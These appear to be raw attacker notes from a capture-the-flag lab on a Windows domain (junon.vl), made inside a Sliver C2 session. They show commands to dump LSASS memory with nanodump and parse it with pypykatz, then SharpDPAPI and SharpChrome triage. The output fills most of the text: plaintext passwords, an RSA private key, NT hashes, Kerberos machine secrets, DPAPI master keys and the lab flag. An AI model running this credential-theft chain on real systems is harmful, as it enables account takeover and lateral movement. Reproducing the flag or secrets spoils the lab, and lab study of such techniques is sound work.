sliver (JUICY_PTARMIGAN) > cat root.txt

VL{19a947c8712201ea96c9b5666c721094}

ps

Nanodump Lsass

nanodump 684 test 1 PMDM
download test
python3 -m pypykatz lsa minidump test

Sharpdpai

sharpdpapi machinetriage /showall

    UserName         : WORK-JUNON\carly.adams
    Credential       : ZMskoMXML_qC17

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAw32gSyXeHdUoppf4uWM0pZm3/979gzSx8+1saby/x/Wu5trN
0GvhuLw31elFgd3tBU4iz0IINf5u3j41PSUUyBm27krAF7RsuI8J7NS1QsbeQU4R
gJEpjUV87HuRltcR52dFkPVqXC+tnbr9jlMHhy9t4fPMe7qJKPm7ruD7KgglCCr9
VAvtNniVbzjKEdT+3X9CqiL6kzooyqTJ2UVoXNkJWVcXqsraGGcKrV34YVgMtiLz
S6XINtF/qMpXKtVKD4I3htz9xIK/9qdifbJdhF/dximtI83bY3NLPS42MoRAcwAz
yGVLtlX9u+W1HUdWHgxXyEPJh8xvT97qU7JOhQIDAQABAoIBAAl6CJA8CLV3hN32
lgceqQmyFvpfa/i1UD8b7lp93OorncvxJXMKF8olzasgAM+X24qbTBKyB8XeTK+X
YmtRZd2BaZ3Jn+BGTdLwlDGX6iWPkGyoBS8vWk1P5gtsvhUK3gJSvkuVqg9H/Gme
C/afTcke4nvGns4Mr+N9n7yNiX9zCb6pj5kx3rMdFi/BhDnGnZrZ50GRFAF7leUM
G71ZIUCAHdC+BXsI/uhw1ffo+aQD9PdLcMVirZVXhB84maYZtyedAZyd7tH1c83y
cLgcZuyQ/aNJqW2KM11h+7ryBt+wWHT+/xsIgmIXLHJ+Wx4/vO+bsjsJxWftxLC/
tV1BqK0CgYEAw84W36IFrUlcXSsqSvXz3zz0i4vct4/evr7gtvEWgSiu0SlpsBVC
sjeM3RU2Im9lipi/gpc8y2Ct/4seDjwnG2JEwmvicMdKRUKhOJpB15fzD6pRwEc0
ny5zvmyEEPCvBAsZ2NmcB1jDvax63qwcpAlxDO0X6nPQzpOoFY78o8sCgYEA/5bM
8Y7GCWAdKZz1mVqp0Mh32eP9IV3MwjqpqTscFHA/Tkb8dHjjS57MSRei6pL6FY3s
veng5Fa8KRyROISwf6HdjNN2CxqwzZZFSLSxoNbq0IDyN4rXNU+PsnOI4YNTfeOi
BBDm95sWwnbQ9na9AzIg0zetFaeCYwzsIAg7rO8CgYBYmzVco/w/q5gBjVwJKf3f
Ar2DPJp38sIQvV4BS14supVJj50FEsnozhyPm16w/IoNywu28+uN+UUkA/do562m
xbRp6tpAwN6KMxmz/JJZFqjmaOOvyEk205WLEZ498Dyy7rcWm3rxFCkX9ypvA6G+
VYt0FwKglSJjqQwCHX+UOwKBgDEAo5hojDV99Plme3wEcuxxkvD2kjCUgE542tB0
YcTVZH3IhFx8VO/JqVcWLgkVVtdNF6etsI12x6qGLJ2Oaxx9VzHJ1Sb53g38kpoG
8stoiSqink3h07MH5wAKwKKkABzxyL1I1E+Cr5FnIFcwmrqDIOH+GbQ+InSFJLxb
d72HAoGBAMOvgEmK+UMCvRhVWLfUXnBxWd5Qxu34siUfb2Z7UoKJYRfws+uChax6
ekdRNfmpxTe3OADbtYDXBE3LqAkknFJTmERTkxPARYpMlj9AaL6pidh0N1qTkqLj
Gz7bcaGYvgRrUFo+5QR213RVnWyLBLf5ng6JHUZNrY+CB/BtD2HT
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIC+zCCAeOgAwIBAgIBATANBgkqhkiG9w0BAQUFADAOMQwwCgYDVQQDDANNRE0w
HhcNMjQwMzA0MTAwOTE2WhcNMzQwMzA0MTAwOTE2WjAkMSIwIAYDVQQDExlNRU1E
TUNsaWVudEF1dGhlbnRpY2F0aW9uMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAw32gSyXeHdUoppf4uWM0pZm3/979gzSx8+1saby/x/Wu5trN0GvhuLw3
1elFgd3tBU4iz0IINf5u3j41PSUUyBm27krAF7RsuI8J7NS1QsbeQU4RgJEpjUV8
7HuRltcR52dFkPVqXC+tnbr9jlMHhy9t4fPMe7qJKPm7ruD7KgglCCr9VAvtNniV
bzjKEdT+3X9CqiL6kzooyqTJ2UVoXNkJWVcXqsraGGcKrV34YVgMtiLzS6XINtF/
qMpXKtVKD4I3htz9xIK/9qdifbJdhF/dximtI83bY3NLPS42MoRAcwAzyGVLtlX9
u+W1HUdWHgxXyEPJh8xvT97qU7JOhQIDAQABo04wTDAJBgNVHRMEAjAAMB0GA1Ud
DgQWBBR5tJgxeXpiXZA7hXTo5vE6kXBnVjALBgNVHQ8EBAMCB4AwEwYDVR0lBAww
CgYIKwYBBQUHAwIwDQYJKoZIhvcNAQEFBQADggEBAIcOOoeHdXVj8R3Zltzi/CxY
6akV5pAoKjey4CYLTIx4uMzwjtmVR+eJ6IsHyjCySn6iv6bZYYwcJ4k/V9mJVyko
qUwiIEgtdJVhwcY8oLRyR5O+x0pb6k2lslLA2Bmc2Uh5NLr0CvzlgX2AeDO1xVvK
xBjKtIYDG8m0Wrx92jXOgy6XBn2ETR0/T9FEtbkXjJehxfOLn7DTP/awARy5FyZK
MlLWSlOk2lmub9ECOe9+WOT4eyeMgROg+EP2fPYFyNXdF8HXCsa1gvL4Hejh5AfW
S68A+V/ngrW8crJAidgKzFtr/BD5ePShCucKpERWkWEgQLhRGtkO6hEptySQnoM=
-----END CERTIFICATE-----

Sharpchrome

carly.adams@junon.vl,c4rlyr0cks!!

Loot

INFO:pypykatz:Parsing file test
FILE: ======== test =======
== LogonSession ==
authentication_id 754667 (b83eb)
session_id 1
username carly.adams
domainname WORK-JUNON
logon_server S021M005
logon_time 2024-06-13T03:21:27.384800+00:00
sid S-1-5-21-1112787665-3955584987-2510362858-1150
luid 754667
        == MSV ==
                Username: Carly.Adams
                Domain: WORK-JUNON
                LM: NA
                NT: b2592752cee6b2d45be13170745f9664
                SHA1: 729df22e835c0f3f9590bc7b6193a8f63d575bcb
                DPAPI: db1069e3a10489a46117cb452ed49613
        == WDIGEST [b83eb]==
                username Carly.Adams
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: carly.adams
                Domain: WORK.JUNON.VL
        == WDIGEST [b83eb]==
                username Carly.Adams
                domainname WORK-JUNON
                password None
                password (hex)
        == DPAPI [b83eb]==
                luid 754667
                key_guid d97e67ad-46e8-4e87-bb0c-22df561bd9c0
                masterkey aea15bbae5d544e72762031e69f7523540ecbe368d32ba316cd1a79f649b3d4524157db39e9e0bddf6d8cca3bfcbef35ccc966c171479ac68f9a2ede01b6924a
                sha1_masterkey e798a27a39056d6d335dbd8294ac5bfd66e8acbd
        == DPAPI [b83eb]==
                luid 754667
                key_guid 4709d20f-45bf-4adb-94c2-1385f9469f2b
                masterkey 3ca4aa5000117a2534d8f4db2193c485358218f3868601ad74875e632367fad785cd2c70d41f853ed08490cc81627bd9b7c291d49156fed6bafe0a0e3b88c42a
                sha1_masterkey e6c38f46aa39028ab25e439d9e684519f04df6a2
        == DPAPI [b83eb]==
                luid 754667
                key_guid dcbae5e2-f615-4973-98a8-c21a6595ab8d
                masterkey c793a1281accc013ed374adee345a884024134a15d3f86a14e247733548b08355b7e2afca1180da493367d9f98e1bf6052be51046833b0ccbd52e5fe6e5249ab
                sha1_masterkey 21d4b0fd194590b5c09ac0d5017f255c6bf5db51
        == DPAPI [b83eb]==
                luid 754667
                key_guid 378a760f-597d-4aeb-a7aa-c9d7fc794bee
                masterkey 426be0f0e279d6755b4e9a7a490f21954420bd51f5f04d4587c82c77cf777b7bca1f11f2661e1279f89eb6719be33abcf9cc0e0bcf0859b7509b2a8a68309943
                sha1_masterkey b3b10e5a742c83e0d02a1cd0da6ceef5bb46905f

== LogonSession ==
authentication_id 81922 (14002)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2024-06-13T03:20:40.229532+00:00
sid S-1-5-90-0-1
luid 81922
        == MSV ==
                Username: S021W105$
                Domain: WORK-JUNON
                LM: NA
                NT: dc8b83e8f9f23b1e9a25d3b07e7a2141
                SHA1: b0d438226b5350683cbb1c38e6b687ac6d64fc8c
                DPAPI: NA
        == WDIGEST [14002]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: S021W105$
                Domain: work.junon.vl
                Password: 5e40ac7ceb5d6aacc622326b054b2e0e4fec9136ba438dc4bc66351c658516ed759a7806c4f9cd9eaf1a574daf3bb5691d5339fe4ba4b3a0c4ed8e298689ce88c11d53bf4321b28740d66e52d9c571d98bd69d7b3118b4f245d776133444e82ff2b3159cb4a8b28336c0626f5e94366284e0775ab79ae8581ec3bacff14cf3fda4585820ec55307de67303dba0fba7754f26bdf9e618cac1d65e860f8cdb40470339bb20f03e24582d22a80cdb29814bc0fb78a126a5b19b8768c2d328fd5a87c9e7e24617f6c86f835fe6ed9a141c77249ffa9dabaaced6c8e145263160d0ab84afa8fa97c6c1c5bd676e9d0a6cdbec
                password (hex)5e40ac7ceb5d6aacc622326b054b2e0e4fec9136ba438dc4bc66351c658516ed759a7806c4f9cd9eaf1a574daf3bb5691d5339fe4ba4b3a0c4ed8e298689ce88c11d53bf4321b28740d66e52d9c571d98bd69d7b3118b4f245d776133444e82ff2b3159cb4a8b28336c0626f5e94366284e0775ab79ae8581ec3bacff14cf3fda4585820ec55307de67303dba0fba7754f26bdf9e618cac1d65e860f8cdb40470339bb20f03e24582d22a80cdb29814bc0fb78a126a5b19b8768c2d328fd5a87c9e7e24617f6c86f835fe6ed9a141c77249ffa9dabaaced6c8e145263160d0ab84afa8fa97c6c1c5bd676e9d0a6cdbec
        == WDIGEST [14002]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)

== LogonSession ==
authentication_id 81899 (13feb)
session_id 1
username DWM-1
domainname Window Manager
logon_server
logon_time 2024-06-13T03:20:40.229532+00:00
sid S-1-5-90-0-1
luid 81899
        == MSV ==
                Username: S021W105$
                Domain: WORK-JUNON
                LM: NA
                NT: fc167460e1d27a2dcdfe1716d73fc353
                SHA1: e5cf78fd07a6c79140c7f871de7665780f46b76e
                DPAPI: NA
        == WDIGEST [13feb]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: S021W105$
                Domain: work.junon.vl
                Password: 883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
                password (hex)883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
        == WDIGEST [13feb]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)

== LogonSession ==
authentication_id 997 (3e5)
session_id 0
username LOCAL SERVICE
domainname NT AUTHORITY
logon_server
logon_time 2024-06-13T03:20:39.807632+00:00
sid S-1-5-19
luid 997
        == Kerberos ==
                Username:
                Domain:

== LogonSession ==
authentication_id 996 (3e4)
session_id 0
username S021W105$
domainname WORK-JUNON
logon_server
logon_time 2024-06-13T03:20:36.745148+00:00
sid S-1-5-20
luid 996
        == MSV ==
                Username: S021W105$
                Domain: WORK-JUNON
                LM: NA
                NT: fc167460e1d27a2dcdfe1716d73fc353
                SHA1: e5cf78fd07a6c79140c7f871de7665780f46b76e
                DPAPI: NA
        == WDIGEST [3e4]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: s021w105$
                Domain: WORK.JUNON.VL
                Password: 883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
                password (hex)883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
        == WDIGEST [3e4]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)

== LogonSession ==
authentication_id 43849 (ab49)
session_id 0
username UMFD-0
domainname Font Driver Host
logon_server
logon_time 2024-06-13T03:20:34.542118+00:00
sid S-1-5-96-0-0
luid 43849
        == MSV ==
                Username: S021W105$
                Domain: WORK-JUNON
                LM: NA
                NT: fc167460e1d27a2dcdfe1716d73fc353
                SHA1: e5cf78fd07a6c79140c7f871de7665780f46b76e
                DPAPI: NA
        == WDIGEST [ab49]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: S021W105$
                Domain: work.junon.vl
                Password: 883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
                password (hex)883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
        == WDIGEST [ab49]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)

== LogonSession ==
authentication_id 43829 (ab35)
session_id 1
username UMFD-1
domainname Font Driver Host
logon_server
logon_time 2024-06-13T03:20:34.542118+00:00
sid S-1-5-96-0-1
luid 43829
        == MSV ==
                Username: S021W105$
                Domain: WORK-JUNON
                LM: NA
                NT: fc167460e1d27a2dcdfe1716d73fc353
                SHA1: e5cf78fd07a6c79140c7f871de7665780f46b76e
                DPAPI: NA
        == WDIGEST [ab35]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: S021W105$
                Domain: work.junon.vl
                Password: 883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
                password (hex)883e68560ced7162e91bad66b9562c91119d85b68b9b49871e52b56656eb313e4a4783268949ca044fa68e289e50c23c3e3c2e1f4ef41fc920ad03d2f26513b4fa770f1952419f8bd6e8f920d817bafe157ddd6a1440ffdda053ac506804760a48172b249de4564c010916a7869770c60d4ef655617964584247b169561241ab6db535cdf51ea11c3da2dfd66f5f2e4857783f7db0ad4187653fdb5024e64a0cdf248b7962e1986f447d009b404b7b32703d4238feaeaa8d1baf5a4934046e68c727c23debe038a6403fb20c3a3a30aafb1957e4c45d4c4e94da318b1bbed7035ddbc1384798dc004b2262ec5fd02641
        == WDIGEST [ab35]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)

== LogonSession ==
authentication_id 42490 (a5fa)
session_id 0
username
domainname
logon_server
logon_time 2024-06-13T03:20:32.776396+00:00
sid None
luid 42490
        == MSV ==
                Username: S021W105$
                Domain: WORK-JUNON
                LM: NA
                NT: fc167460e1d27a2dcdfe1716d73fc353
                SHA1: e5cf78fd07a6c79140c7f871de7665780f46b76e
                DPAPI: NA

== LogonSession ==
authentication_id 999 (3e7)
session_id 0
username S021W105$
domainname WORK-JUNON
logon_server
logon_time 2024-06-13T03:20:32.042002+00:00
sid S-1-5-18
luid 999
        == WDIGEST [3e7]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == Kerberos ==
                Username: s021w105$
                Domain: WORK.JUNON.VL
        == WDIGEST [3e7]==
                username S021W105$
                domainname WORK-JUNON
                password None
                password (hex)
        == DPAPI [3e7]==
                luid 999
                key_guid 506b1c9e-ec1b-4e1f-975c-84d21b8b1ca0
                masterkey f27d4d0eb33f55d29542524a420137eaae951259788eade272bebe06f257f532648d816630e811e7452ab9ce7b83e09fbb74e8519dfb52be092eae95790701bc
                sha1_masterkey 34057229bfa4aac5599aa28ddc0a47c62c331176
        == DPAPI [3e7]==
                luid 999
                key_guid 78056223-ac67-4955-89c8-6b5264ec2b64
                masterkey ef4ad9291c87173e163a0e1444534bee00da961daf4a2f6ae1600c9fb81721dedf213b0727933a4c12e2b31e1fbccb4da34cad587093083b7691bf025bf15053
                sha1_masterkey cee08764bdf807de0086fb19d7a84ce24089c2dd
        == DPAPI [3e7]==
                luid 999
                key_guid f5908998-2a5e-468f-a560-1a46ce981e8e
                masterkey a8484bf089e598612fb9562b14a85d5446049f31052d920630e16ff19e1ac99c2459d7a22555727fb9535f979979e8bba9f319bc75fdc38af73adbddc6027d0f
                sha1_masterkey e26f6e6fb9c70904c30b6f1381af77c07a6bdb9f
        == DPAPI [3e7]==
                luid 999
                key_guid c8ccb921-fa2e-43e0-9de9-de0bb966fc9e
                masterkey 03adab606dfe8c79b9a389027daa444140b55fd053bfd76fe0ea6b0837cb8f1bef05bb2f81545f10b3a981bed2132b6079ef4c45afdd106d39c90523b0326a5a
                sha1_masterkey 49f0eb50b861e44866af26ba7a02de6474496495
        == DPAPI [3e7]==
                luid 999
                key_guid 3a265f00-cb47-4b68-9483-c4763064b338
                masterkey 31a0e693b1db7324c4e0c12c4e096c0a045a22d9b10e5ed4e100765f358616cc0dd0ea239c814b8e86e496466771756e797ee64f77a3f16220880ceab666218e
                sha1_masterkey 6c6cd38f823690f0434af69817f18c6898280b8f
        == DPAPI [3e7]==
                luid 999
                key_guid 6a65076b-ac52-46e5-82ee-464307eaf4ec
                masterkey f71e9ca5bc17e4e1042cfbd534a1d0f39e83ed8eb89b5135c78c82df6148ec1490625c057387717963280c3db1a510a6ecf19abeb36f5d02ed2f7ca2ccaf601a
                sha1_masterkey a7571d42ecd886575f758a05754268ebb0d35f94
        == DPAPI [3e7]==
                luid 999
                key_guid 2f1a5c20-a168-4097-98ea-abfa3a312e68
                masterkey 2f654e13b002ec2c97efe8dc1617ac158dbbd72c28f8e925ffdd445711b3cd96c8e3ddb8fb73953191efc887395f31c39fb3cfa46ba0ad9f17ba7a2d151e3d08
                sha1_masterkey acc87fca7001593a6f7760b4a7e49f0dfe0c72af